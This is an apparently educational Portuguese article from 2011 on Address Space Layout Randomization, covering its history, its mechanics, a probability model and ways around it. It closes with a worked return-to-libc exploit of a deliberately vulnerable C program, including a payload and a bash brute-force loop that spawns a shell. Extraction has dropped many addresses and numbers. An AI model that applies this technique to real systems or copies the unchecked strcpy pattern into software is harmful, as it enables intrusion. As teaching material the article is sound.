ASLR - Address Space Layout Randomization

Transcrição

1 R&D - Conviso Application Security ASLR - Address Space Layout Randomization Marcos Álvares 1 3 de janeiro de 2011 Resumo Certamente o ASLR foi um dos mecanismos de segurança mais eficazes na contenção da explosão no número de explorações com sucesso no inicio do século 21. Inicialmente foi apresentado como solução genérica para problemas de buffer overflow. Explorações que assumiam que o aplicativo vulnerável seria carregado em memória usando blocos de endereços fixos foram invalidadas. Muito embora, pouco tempo depois técnicas para burlar a proteção tenham surgido, o custo para construção de um exploit funcional para essa categoria de vulnerabilidade aumentou significativamente. As tentativas de exploração ficaram mais ruidosas, evidenciando padrões de ataques e fornecendo subsídios para construção de dispositivos de detecção automática. Atualmente, o ASLR é implementado nativamente nos sistemas operacionais mais populares. Esse artigo tem por objetivo apresentar um breve (i) histórico, (ii) descrever o funcionamento, (iii) apresentar uma análise qualitativa e (iv) apresentar as principais técnicas utilizadas parar contornar a proteção provida. 1 Definição e Histórico O ASLR é um mecanismo de segurança que introduz aleatoriedade no processo de alocação dos segmentos de um processo em memória. Esse processo é realizado toda vez que um aplicativo é executado e carregado em memória pelo sistema operacional. O ASLR foi concebido em 2000 como parte do projeto Page EXec (PaX) [1, 2, 3]. O PaX nada mais é que um patch para o kernel do Linux que agrega diversas características de segurança ao sistema operacional. Algumas soluções com objetivos similares ao ASLR já existiam antes de 2000 como o StackGuard, StackShield e a LibSafe. Apenas o ASLR foi implementado e habilitado por padrão nos sistemas operacionais mais populares encontrados no mercado. Em 2005 foi adicionado oficialmente ao núcleo do sistema operacional Linux em sua versão A Microsoft apresentou sua versão um ano após através do Windows Vista. Devido a aleatoriedade inserida no processo de geração dos segmentos em memória, para localizar endereços o atacante necessita realizar uma série de tentativas (força bruta) para uma exploração de uma vulnerabilidade do tipo buffer overflow com sucesso. Essas tentativas são ruidosas e susceptíveis a serem classificadas como tentativas de ataque. Quando implementado em conjunto com sistemas de monitoração e reação, o ASLR pode ser um mecanismo bastante eficaz para detecção de tentativas de intrusão. Para leitura desse artigo é recomendável conhecimentos básicos de programação em C, Assembly Intel x86, exploração em pilha [4, 5] e depuração básica usando o GDB [6, 7]. Apesar de todos os exemplos exibidos nesse artigo 1 malvares@conviso.com.br 1

2 serem construídos usando o sistema operacional GNU Linux, a teoria elaborada é aplicável a qualquer implementação de ASLR encontrada nos sistemas operacionais modernos. 2 Contextualização Teórica Nos sistemas operacionais modernos cada processo possui um espaço de endereçamento privado, isolado e dividido em segmentos com fins específicos. Do ponto de vista do processo é como se esse tivesse todos os recursos físicos disponíveis para uso exclusivo. A memória básica ou volátil (RAM) é um desses recursos. Quando o usuário solicita a execução de um determinado aplicativo, um espaço de endereçamento virtual é reservado e o seu binário é carregado nesse espaço. O espaço de endereçamento é segmentado de acordo com o tipo dos dados armazenados em cada segmento. Os principais segmentos de um processo em memória são: Dados: segmento onde estão contidas as variáveis estáticas e globais; Código: possui o código de máquina do processo executado; Pilha: armazena variáveis locais e referências para controle de fluxo; Heap: região que armazena as variáveis alocadas dinâmicamente; Bibliotecas compartilhadas: mapas de biliotecas ligadas dinâmicamente. O Código 1 mostra o espaço de endereçamento e os principais segmentos do processo cat. Nota-se que o cat é um binário ligado dinâmicamente a outras bilbliotecas através do ld so (linha 6). Através do ld bibliotecas podem ser acopladas ao processo em tempo de execução como a biblioteca mostrada na linha 9. O segmento de código, onde o executável é carregado, é encontrado na linha 7. Note que esse segmento tem permissão de leitura e execução mas não de escrita. Esse mecânismo impede que após o carregamento do binário em memória seja possível a injeção de conteúdo nesse segmento (lícito ou não). Por fim, observa-se a os segmentos de pilha e heap nas linhas 12 e 8 respectivamente. 1 mabj@jarvis:~$ cat /proc/self/maps r-xp :00 0 [vdso] e8000 r-xp : /lib/tls/i686/cmov/libc so 4 007e e p : /lib/tls/i686/cmov/libc so 5 007ec ef000 rw-p : de dfe000 r-xp : /lib/ld so r-xp : /bin/cat 8 09f f76000 rw-p :00 0 [heap] 9 b75ff000-b763e000 r--p : /usr/lib/locale/en_us.utf8/lc_ctype b b rw-p : bfb54000-bfb69000 rw-p :00 0 [stack] Código 1: Espaço de enderaçamento correspodente ao processo cat. O componente do sistema operacional responsável por carregar o executável em memória é o loader. O loader recebe o arquivo binário COFF (Commom Object File Format), cria os segmentos mostrados e configura suas respectivas permissões. O tamanho e as permissões de um determinado segmento podem ser alterados em tempo de execução. Um exemplo de criação de um segmento em memória usando o mmap pode ser observado no Código 2. 2

3 1 2 #define FILEPATH "./example.txt" 3 #define NUMCHARS sizeof("marcos alvares") 4 #define FILESIZE (NUMCHARS * sizeof(int)) 5 6 int main() { 7 int fd; char *map; 8 9 fd = open(filepath, O_RDWR); map = mmap(null, FILESIZE, PROT_READ PROT_WRITE, MAP_SHARED, fd, 0); map[numchars - 1] = \0 ; 14 printf("[%s]\n", map); printf("pid do PROCESSO: [%d]\n\n", getpid()); 17 sleep(20000); return 0; 20 } Código 2: Criação de segmento em memória para leitura e escrita com o conteúdo de um arquivo em disco. Na linha 9 um filehandler para o arquivo example.txt é criado e seu conteúdo é mapeado em memória usando a função mmap() na linha 11. As permissões do segmento são passadas por parâmetro para a função mmap(): PROT READ PROT WRITE (leitura e escrita). Isso significa que nenhum conteúdo inserido nesse segmento poderá ser executado. Caso ocorra uma tentativa de execução de conteúdo o sistema operacional enviará um sinal de falha de segmentação (SEGFAULT ) para o processo. A string marcos alvares (que está contida no arquivo) é impressa na saída padrão. Nas linhas 16 e 17 é impresso o PID na saída padrão e um sleep() é realizado para que possamos observar o mapa do processo em memória (Código 3). 1 mabj@jarvis:~/aslr/doc/examples$./example & 2 [marcos alvares] 3 PID do PROCESSO: [3132] 4 5 mabj@jarvis:~/aslr/doc/examples$ cat /proc/3132/maps e f000 r-xp :00 0 [vdso] f r-xp : /lib/tls/i686/cmov/libc so rw-p : a1f000-00a3a000 r-xp : /lib/ld so r-xp : /home/mabj/aslr/doc/examples/example 11 b b rw-p : b b rw-s : /home/mabj/aslr/doc/examples/example.txt 13 b b781a000 rw-p : bf bf89b000 rw-p :00 0 [stack] 15 Código 3: Mapa do processo criado pelo aplicativo mostrado no Código 2. Na linha 20 o arquivo example.txt foi mapeado no espaço de endereçamento do processo example. O mapa criado possui permissão para leitura e escrita ( rw-s ). Na coluna a esqueda do mapa do processo encontramos o endereço de cada segmento. Por exemplo, o nosso segmento com o arquivo example.txt está mapeado do endereço 0xb até o 0xb que corresponde ao tamanho mínimo de um segmento mapeado que é 4 KB. Para exemplificar o funcionamento do ASLR vamos executar o processo duas vezes com o mecanismo desabilitado e duas vezes com o mecanismo habilitado. Sem o ASLR os segmentos do processo serão mapeados sempre na mesma faixa de endereços. No Código 4, podemos observar o mapa gerado através de duas execuções da aplicação sem o ASLR. Nas linhas marcadas de vermelho podemos observar que nas duas execuções o aplicativo foi mapeado em memória com os mesmos endereços. 3

4 1 & 2 [2] mabj@jarvis:~/documents/aslr/doc/examples$./example & 4 [3] mabj@jarvis:~/documents/aslr/doc/examples$ cat /proc/5171/maps b000 r-xp : /lib/ld so d e000 r-xp :00 0 [vdso] e r-xp : /lib/tls/i686/cmov/libc so rw-p : r-xp : /home/mabj/documents/aslr/doc/examples/example 12 b7fe8000-b7fe9000 rw-p : b7ffd000-b7ffe000 rw-s : /home/mabj/documents/aslr/doc/examples/example.txt 14 b7ffe000-b rw-p : bffeb000-c rw-p :00 0 [stack] mabj@jarvis:~/documents/aslr/doc/examples$ cat /proc/5172/maps b000 r-xp : /lib/ld so d e000 r-xp :00 0 [vdso] e r-xp : /lib/tls/i686/cmov/libc so rw-p : r-xp : /home/mabj/documents/aslr/doc/examples/example 23 b7fe8000-b7fe9000 rw-p : b7ffd000-b7ffe000 rw-s : /home/mabj/documents/aslr/doc/examples/example.txt 25 b7ffe000-b rw-p : bffeb000-c rw-p :00 0 [stack] Código 4: Mapas de duas execuções do mesmo binário criado usando um sistema operacional sem ASLR. A maioria das técnicas de exploração de buffer overflow, originalmente, se aproveitavam do fato dos segmentos do processo sempre serem carregado nos mesmos endereços para redirecionar o fluxo da aplicação vulnerável. Tais técnicas precisavam de informações sobre endereços específicos para o seu funcionamento como endereços específicos na pilha ou endereços de bibliotecas. Com o objetivo de aumentar a complexidade de contrução de exploits funcional, tornando os endereços de pontos estratégicos não óbivios e replicáveis para diferentes ambientes, o ASLR introduz aleatoriedade no mapa de endereçamento exibido no Código 4. O Código 5 mostra o efeito do ASLR sobre o espaço de endereçamento do mesmo binário analisado no exemplo anterior. 1 mabj@jarvis:~/documents/aslr/doc/examples$./example & 2 [4] mabj@jarvis:~/documents/aslr/doc/examples$./example & 4 [5] mabj@jarvis:~/documents/aslr/doc/examples$ cat /proc/5487/maps 7 002f r-xp : /lib/ld so r-xp :00 0 [vdso] 9 008cb000-00a1e000 r-xp : /lib/tls/i686/cmov/libc so 10 00a a25000 rw-p : r-xp : /home/mabj/documents/aslr/doc/examples/example 12 b786a000-b786b000 rw-p : b787f000-b rw-s : /home/mabj/documents/aslr/doc/examples/example.txt 14 b b rw-p : bff65000-bff7a000 rw-p :00 0 [stack] mabj@jarvis:~/documents/aslr/doc/examples$ cat /proc/5488/maps f r-xp : /lib/tls/i686/cmov/libc so rw-p : cf cf3000 r-xp :00 0 [vdso] 21 00f8b000-00fa6000 r-xp : /lib/ld so r-xp : /home/mabj/documents/aslr/doc/examples/example 23 b b rw-p : b781c000-b781d000 rw-s : /home/mabj/documents/aslr/doc/examples/example.txt 25 b781d000-b781f000 rw-p : bf8db000-bf8f0000 rw-p :00 0 [stack] Código 5: Mapas de duas execuções do mesmo binário criado usando um sistema operacional com ASLR habilitado. No Código 5 observamos que o endereço base da maior parte dos segmentos do processo exemplo é afetado pelo ASLR (exceto os segmentos onde são carregados executável e dados estáticos). 4

5 Os exemplos acima foram todos realizados em ambientes que fazem uso do sistema operaciona Linux Ubuntu. A implementação do ASLR do Linux foi inspirada no PaX. Notamos que o ASLR implementado no Linux abrange menos segmentos que o PaX original. O ASLR implementado no PaX afeta quatro segmentos no processo: segmento do executável principal (código, dados e BSS); heap; pilha; segmentos internos ao sistema operacional. Como podemos notar no Código 5, a implementação encontrada no Linux não inclui o segmento do executável principal. Um detalhe importante de se observar é que apenas uma parte do endereço base é aleatorizado. O PaX, para arquitetura Intel x86, 32 bits, para o segmento de pilha temos uma aleatorização de 24 bits do endereço base iniciando do quarto bit menos significativo. Para segmentos criados via mmap() e para os segmentos do executável principal temos uma aleatorização de 16 bits do endereço base iniciando a partir do décimo segundo bit menos significativo. Essa organização é também aplicada ao Linux exceto pelo segmento do código principal que não recebe componente aleatório. 2.1 Probabilidades e Modelo Matemático Para estudarmos a eficácia do mecanismo de randomização do espaço de endereçamento iremos generaliza-lo através de um modelo matemático. Problemas que envolvem aleatoriedade podem ser representado através de funções de probabilidade. Portanto, vamos definir qual a probabilidade de acerto de um determinado endereço em função da quantidade de bits escolhidos aleatóriamente para o endereço base do segmento e quantidade de tentativas. A equação de Bernoulli (Equação 1) de probabilidade em experimentos compostos, define a probabilidade para que ocorra ao menos s ocorrências de um padrão dentro de n experimentos associados a um mesmo espaço amostral. Onde p representa a probabilidade de sucesso e q é a probabilidade de falha. P (B) = n C(n, k)p k q n k (1) k=s C(n, k) = n! k!(n k)! Para a nossa aplicação, como queremos que o padrão apareça ao menos 1 vez, então s será igual a 1. Observando a equação de Bernoulli vemos que ela é uma especialização de um Binômio de Newton (Equação 3) só que sem o componente do somatório onde k = 0. (2) n (x + y) n = C(n, k)y k x n k (3) k=0 5

6 Combinando as equações 1 e 3 chegamos a conclusão que a probabilidade de um evento ocorrer ao menos uma vez é igual a P (B) = (x + y) n C(n, 0)y 0 x n 0 (4) P (B) = 1 x n (5) Como x é a probabilidade de um evento não ocorrer usando N bits aleatórios, chegamos a seguinte generalização: P (B) = 1 (1 1 2 N )x (6) A equação 6 é a probabilidade de um evento ocorrer ao menos uma vez em x tentativas usando um espaço amostral composto por N bits aleatórios. Para o caso do ASLR do PaX faz uso de 24 bits aleatórios para formação do endereço base do segmento de pilha, o espaço amostral é de 2 24 possibilidades. A probabilidade do atacante adivinhar o endereço base com uma única tentativa para esse segmento é de aproximadamente 1 em 16.7 milhões. Isso é uma probabilidade muito próxima de zero. Só para ser ter uma idéia, a probabilidade de se morrer acertado por um raio é de aproximadamente 1 em 2.32 milhões. A medida que são realizadas multiplas tentativas para achar o valor do endereço base a probabilidade aumenta. A tabela abaixo mostra a variação da probabilidade de acordo com o número de tentativas e a quantidade de bits aleatórios: Tabela 1: Resultados de probabilidades em função da quantidade de tentativas(x) e o número de bits aleatórios(n) N/x Dependendo da vulnerabilidade, existem técnicas para aumentar a probabilidade de colisão relativa a uma quantidade de bits aleatórios de um endereço base. Algumas técnicas atuais já fazem de artifícios para explorar com sucesso falhas de buffer overflow em heap e pilha em sistemas operacionais que fazem uso de ASLR. [8, 9, 10]. 3 Técnicas e Estudo de Caso Não existe uma técnica para burlar a proteção oferecida pelo ASLR sem nenhuma restrição. A maioria das técnicas são baseadas em redução de entropia empregada para geração do endereço base e força bruta. Uma lista das técnicas mais populares para exploraração de vulnerabilidades em sistemas que possuem ASLR é: Ataque a segmentos não afetados pelo ASLR; 6

7 Força bruta; Técnicas orientadas a retorno [11]; Ataque a GOT (Global Offset Table) e a PLT (Procedure Link Table); Ataque a.dtors. Tirando as técnicas orientadas a retorno, todas as outras são usadas em conjunto como força bruta para realizar buscas em todo o espaço de amostral gerado através dos bits aleatórios empregados na geração de cada tipo específico de segmento. Uma visão geral de todas essas técnicas pode ser encontrada no artigo de Tilo Muller, ASLR Smack & Laugh Reference [12]. As técnicas orientadas a retorno exigem condições específicas para exploração como conteúdo util no buffer vulnerável (informações que revelem o layout do segmento). A maioria das explorações com sucesso em sistemas operacionais modernos envolvem força bruta. Abaixo vamos criar uma aplicação com uma vulnerabildiade de pilha e em seguida descreveremos passo-a-passo a exploração dessa falha através da técnica de return-to-libc [13, 14]. Iremos fazer uso da sessão de dados do binário (variáveis globais e estáticas inicializadas) e característica das regiões mapeadas em memória através mmap() usarem apenas 16 bits aleatórios. Segundo a Tabela 1, para 16 bits aleatórios precisamos realizar no máximo ( ) tentativas para conseguirmos adivinhar um endereço específico. O Código 9 apresenta a aplicação de prova-de-conceito que possui uma vulnerabilidade de buffer overflow na pilha. 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 static const char string[] = "/bin/sh"; 6 7 void function(char *param) { 8 char buffer[16]; 9 strcpy(buffer, param); 10 } int main(int argc, char *argv[]) { 13 printf("global string: [%s], Address: [%#x]\n\n", string, (unsigned int) string); 14 function(argv[1]); 15 return 0; 16 } Código 6: Código de prova-de-conceito com vulnerabilidade de buffer overflow na pilha. Podemos observar na linha 5 do Código 9 que foi criada uma variável global e estática que armazena uma string com o conteúdo /bin/sh. Através do Código 5, podemos constatar que a região.data do binário não é afetada pelo ASLR do Linux (kernel na versão ). Isso significa que podemos usar o endereço da string no nosso ataque na libc (16 bits) através da vulnerabilidade encontrada na linha 8. Na pilha, durante a execução de function, após o preenchimento do buffer é encontrado o contexto da função main salvo através do EBP (base pointer) e o ponto de retorno (endereço da próxima instrução em main a ser executada após o termino de function). Através do strcpy e da variável buffer, vamos sobrescrever esse contexto para substituir o endereço de retorno pelo endereço 7

8 da função system da libc (endereço aleatório) e o EBP pelo endereço da variável string (que não é afetado pelo ASLR). Para compilar o nosso exemplo precisamos desabilitar o mecanismo de proteção a pilha baseado em canários oferecido pela libc. Esses mecanismos de proteção da libc serão estudados em detalhes em artigos futuros. mabj@jarvis$ gcc -fno-stack-protector -ggdb -o bug01 bug01.c Código 7: Comando para compilação do código de prova-de-conceito. Podemos observar que na linha 13 do nosso exemplo é impresso em tela o conteúdo e endereço da variável string. Não importa a quantidade de vezes que executemos o processo bug01 esse endereço não irá mudar. mabj@jarvis$./bug01 A Global string: [/bin/sh], Address: [0x ] mabj@jarvis$./bug01 A Global string: [/bin/sh], Address: [0x ] mabj@jarvis$./bug01 A Global string: [/bin/sh], Address: [0x ] Código 8: Verificação do endereço da variável string. Vamos executar o nosso exemplo passando como entrada uma quantidade superior a 16 catacteres como parâmetro de entrada. Essa entrada será copiada sem nenhuma verificação para a variável buffer através do strcpy(). O contexto de main que está armazenado na pilha será soberscrito e o software receberá uma falha de segmentação ao tentar restaurar esse contexto durante a finalização da função function. mabj@jarvis$./bug01 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Global string: [/bin/sh], Address: [0x ] Segmentation fault Código 9: Sinal de falha de segmentação recebido pelo processo após passarmos string maior que o tamanho de buffer. Vamos utilizar o GDB para acharmos a localização exata do EBP e do Ponto de Retorno, armazenados na pilha durante o armazenamento do contexto de main antes do fluxo de execução entrar na função function. O Assembly de main e de function pode ser observado em Código 10 e no Código 11. é preciso determinar o endereço da função system() dentro da libc para uma execução específica. Claro que esse endereço irá variar para toda a execução já que temos o ASLR habilitado, mas logo iremos ver como iremos tratar essa peculiaridade através de um ataque de força bruta. De acordo com o Código 12 a função system() está no endereço 0x00b8a100. Os 8 bits mais significativos 8

9 1 (gdb) disas main 2 Dump of assembler code for function main: 3 0x e <+0>: push %ebp 4 0x f <+1>: mov %esp,%ebp 5 0x <+3>: and $0xfffffff0,%esp 6 0x <+6>: sub $0x10,%esp 7 0x <+9>: mov $0x ,%edx 8 0x c <+14>: mov $0x ,%eax 9 0x <+19>: mov %edx,0x8(%esp) 10 0x <+23>: movl $0x ,0x4(%esp) 11 0x d <+31>: mov %eax,(%esp) 12 0x <+34>: call 0x <printf@plt> 13 0x <+39>: mov 0xc(%ebp),%eax 14 0x <+42>: add $0x4,%eax 15 0x b <+45>: mov (%eax),%eax 16 0x d <+47>: mov %eax,(%esp) 17 0x <+50>: call 0x <function> 18 0x <+55>: mov $0x0,%eax 19 0x a <+60>: leave 20 0x b <+61>: ret 21 End of assembler dump. Código 10: Assembly correspondente a função main do programa analizado. 1 (gdb) disas function 2 Dump of assembler code for function function: 3 0x <+0>: push %ebp 4 0x <+1>: mov %esp,%ebp 5 0x <+3>: sub $0x28,%esp 6 0x a <+6>: mov 0x8(%ebp),%eax 7 0x d <+9>: mov %eax,0x4(%esp) 8 0x <+13>: lea -0x18(%ebp),%eax 9 0x <+16>: mov %eax,(%esp) 10 0x <+19>: call 0x <strcpy@plt> 11 0x c <+24>: leave 12 0x d <+25>: ret 13 End of assembler dump. Código 11: Assembly correspondente a função function do programa analizado. do endereço não tem problema de ser um NULL ( \0 ), porém os 8 bits menos significativos serem NULL compromete nosso ataque 2. 1 (gdb) break main 2 Breakpoint 1 at 0x : file bug01.c, line (gdb) r 4 Starting program: bug Breakpoint 1, main (argc=1, argv=0xbf877c24) at bug01.c: printf("global string: [%s], Address: [%#x]\n\n", string, (unsigned int) string); 8 (gdb) disas system 9 Dump of assembler code for function libc_system: 10 0x00b8a100 <+0>: sub $0xc,%esp 11 0x00b8a103 <+3>: mov %esi,0x4(%esp) 12 0x00b8a107 <+7>: mov 0x10(%esp),%esi 13 0x00b8a10b <+11>: mov %ebx,(%esp) (gdb) x/i 0x00b8a x00b8a0fc: add %al,(%eax) Código 12: Localização da função system() da libc. Para evitar o NULL encontrado no endereço de system verificamos qual a instrução que é executada imediatamente antes desse endereço. Para a nossa sorte é realizada apenas uma adição envolvendo o registrador EAX, que não irá influenciar o comportamento macro da nossa função system(). Para o nosso ataque iremos considerar 0x00b8a0f c como o endereço de system(). Para o cálculo do tamanho exato para o payload de forma a sobrescrever o EBP e o return point, vamos inserir 3 breakpoints (Código 14). Executando o nosso exemplo usando 8 As como entrada podemos extrair as informações que precisamos. No primeiro breakpoint conseguimos coletar 2 NULL ou \0 é a palavra chave para indicar fim de string 9

10 1 (gdb) break *(main+47) 2 Breakpoint 2 at 0x804845d: file example_region.c, line (gdb) break *(function+24) 4 Breakpoint 3 at 0x804842c: file example_region.c, line (gdb) break *(function+25) 6 Breakpoint 4 at 0x804842d: file example_region.c, line (gdb) i b 8 Num Type Disp Enb Address What 9 2 breakpoint keep y 0x d in main at example_region.c: breakpoint keep y 0x c in function at example_region.c: breakpoint keep y 0x d in function at example_region.c:10 Código 13: Definição de três breakpoints para fins de depuração. o EBP no contexto da função main que é igual a 0xbfe33a98. No segundo breakpoint pedimos para o GDB exibir 20 double words (32 bytes) a partir do endereço do topo da pilha (esp). Podemos destacar a localização onde estão o dado inserido na variável buffer os 8 A s ( 0x41 do endereço 0xbfe33060 até 0xbf e33068). 1 (gdb) r AAAAAAAA 2 Starting program: bug01 AAAAAAAA 3 4 Breakpoint 2, 0x d in main (argc=2, argv=0xbfe33b44) at bug01.c: function(argv[1]); 6 7 (gdb) i r $ebp 8 ebp 0xbfe33a98 0xbfe33a98 9 (gdb) c 10 Continuing Breakpoint 3, function (param=0xbfe3550d "AAAAAAAA") at bug01.c:10 13 (gdb) x/20x $esp 14 0xbfe33a50: 0xbfe33a60 0xbfe3550d 0xbfe33a78 0x xbfe33a60: 0x x x x xbfe33a70: 0xbfe33a84 0x00265ff4 0xbfe33a98 0x xbfe33a80: 0xbfe3550d 0x x x00265ff4 18 0xbfe33a90: 0x x xbfe33b18 0x00126bd6 Código 14: Execução do exemplo usando entrada contendo 8 caracteres. Podemos encontrar também na linha 16 o valor do EBP de main salvo na pilha (0xbf e33a98), em seguida achamos o ponto de retorno (0x ). Se contarmos quantos caracteres devemos inserir na entrada para chegarmos do inicio da variável buffer até o inicio do EBP vamos descobrir que precisamos de 24 caracteres (de 0xbfe33a60 até 0xbfe33a78). Então o nosso payload para explorar essa vulnerabilidade será composto de 24 caracteres, endereço da variável string (já coletamos e é igual a 0x ) seguido pelo endereço da função system()(0x00b8a0f c). Sabemos que para cada execução do nosso exploit temos exatamente 1 chance em de acertar o endereço da função system() dentro do espaço de endereçamento destinado para a libc que possui 16 bits aleatórios em seu endereço base. O objetivo é rodarmos um laço que executa o nosso exploit até que ocorra uma colisão (um determinado endereço base ocorra novamente). Para isso criamos um script shell (Código 15) que contamos a quantidade de tentativas para que o ataque de força bruta seja efetivo. Em uma primeira tentativa usando um Intel(R) Atom(TM) CPU 1.60GHz, conseguimos sucesso com tentativas (Código 16). Para validar estatisticamente o resultado, coletamos os resultados para 32 explorações com sucesso do nosso exploit e o número da iteração que cada uma ocorreu. Se coletarmos a média da quantidade de tentativas necessárias para uma exploração com sucesso chegamos ao número de tentativas (Código 17). O que é um número pequeno e torna o ataque viável. 10

11 1 #!/bin/bash 2 3 COUNTER=0 4 while [ 0 ]; do 5 echo "[+] Tentativa $COUNTER" 6./bug01 $ AAAAAAAAAAAAAAAAAAAAAAAA\x30\x85\x04\x08\xfc\x70\x16\x00 ; 7 let COUNTER=COUNTER+1 8 done; Código 15: Exploit para o bug01. 1 mabj@jarvis$./exploit.sh Segmentation fault 6 [+] Tentativa Global string: [/bin/sh], Address: [0x ] 8 9 Segmentation fault 10 [+] Tentativa Global string: [/bin/sh], Address: [0x ] $ [BINGO] Código 16: Execução do exploit para o bug01. 1 Sucesso de exploraç~ao nas tentativas: [ , 12998, 15906, 18930, 23886, 26342, 32985, , 48500, 51381, 51401, 62373, 72270, 75773, , 77321, 78621, 78974, 80234, 84299, 85332, , 91015, 94803, 95029, 95165, 95833, 97285, , , , ] 8 Quantidade de tentativas em cada exploraç~ao: [ , 11868, 2908, 3024, 4956, 2456, 6643, , 14134, 2881, 20, 10972, 9897, 3503, , 1095, 1300, 353, 1260, 4065, 1033, , 2078, 3788, 226, 136, 668, 1452, , 1802, 9285, ] 15 Média: [ ] Código 17: Saída de script para validação estatística da qualidade da exploração da vulnerabilidade usando o sistema com ASLR habilitado. Apesar de efetivo, o ataque ainda é bastante ruidoso (causando, em média, 146 finalizações abruptas do processo). Um desafio para segurança da informação é a construção de sistemas de detecção e reação automática para padrões de eventos relativos a tentativas frustadas de exploração. Diversos mecanismos foram propostos desde soluções baseadas em interromper o serviço até intervenções híbridas usando firewall. Soluções para interromper o serviço não foi bem aceita por motivos econômicos [15]. Muitas vezes uma parada do serviço, mesmo que por pouco tempo significa perdas financeiras colossais. Além da parada do serviço não implicar na solução imediata da vulnerabilidade. Por isso, empresas de comércio digital preferem assumir o risco de uma invasão bem sucedida do que parar o seu serviço. Mecanismos híbridos baseados em intervenções através de firewall não são eficazes devido a natureza distribuida da maioria dos ataques. Fica difícil determinar a origem do ataque se cada tentativa de exploração vier de uma origem diferente. Ataques distribuídos são cada vez mais frequentes devido ao surgimento de botnets e worms que possuem natureza distribuída e colaborativa. 11

12 4 Considerações Finais Como vimos, o ASLR certamente é uma técnica que conseguiu cumprir a dificil missão de agregar proteção de forma genérica a aplicativos em execução em um sistema operacional. A maioria dos sistemas operacionais modernos já apresentam o ASLR nativamente combinado com o W X. Tais mecanismos de segurança bloqueiam a maioria dos ataques de buffer overflow em sua forma original. Apesar de dificultar a exploração de vulnerabilidades de buffer overflow a técnica estudada não representa uma solução para essa categoria de vulnerabilidades. Vimos que com pouco recurso conseguimos realizar uma exploração de return-to-libc com sucesso mesmo em sistemas com o ASLR habilitado. O aumento significativo no ruído causado pelos ataques é uma qualidade do ASLR. Esse ruído serve como evidencia para detecção automática de ataques. Apesar desse avanço, ainda não possuimos sistemas autônomos para detecção e atuação de buffer overflow. A construção de tal algorítmo ainda se mostra um desafio para os pesquisadores de segurança de informação (problema de reconhecimento de padrão). Como pesquisas futuras, seria importante estudar técnicas de reconhecimento de padrão como (máquina de vetor de suporte, redes neurais artificiais, etc) aplicadas a construção de mecanismo de detecção de intrusão. Outro ponto de investigação importante para o futuro seria a qualidade dos geradores de número aleatório utilizados nos sistemas operacionais. No caso do Linux, devido ao baixo número de tentativas para obtenção de sucesso na exploração de 16 bits, é provável que a entropia da distribuição produzida pelo gerador não seja adequada. Referências [1] P. Team, Address Space Layout Randomization, [2], PAX - Random Memory Map (randmmap), [3], PAX - Random Stack (randkstack), [4] A. One, Smashing the stack for fun and profit, Phrack magazine, vol. 7, no. 49, pp , [5] M. Álvares, [VD01] Stack Overflow, [Online]. Available: [6] GNU, GDB Documentation, [Online]. Available: sourceware.org/gdb/current/onlinedocs/gdb/ [7] M. Álvares, Depurando com o GDB na prática, [Online]. Available: [8] T. Durden, Bypassing PaX ASLR Protection, Phrack Magazine, vol. 59, no. 0x09, [9] A. Cugliari, L. Part, M. Graziano, and W. Part, Smashing the stack in 2010, no. July, pp. 1 73,

13 [10] H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh, On the effectiveness of address-space randomization, Proceedings of the 11th ACM conference on Computer and communications security - CCS 04, p. 298, [11] M. Abadi and G. Plotkin, On Protection by Layout Randomization, rd IEEE Computer Security Foundations Symposium, pp , Jul [12] T. M, ASLR Smack & Laugh Reference Seminar on Advanced Exploitation Techniques, Science, no. June 2005, pp. 1 21, [13] S. Designer, return-to-libc atack, Bugtrack, [14] R. Wojtczuk, The advanced return-into-lib (c) exploits: PaX case study, Phrack Magazine, vol. 0x0b, no. 0x3a, [15] D. Patterson, A simple way to estimate the cost of downtime, in Proc. 16th Systems Administration Conf. LISA, no. November, 2002, pp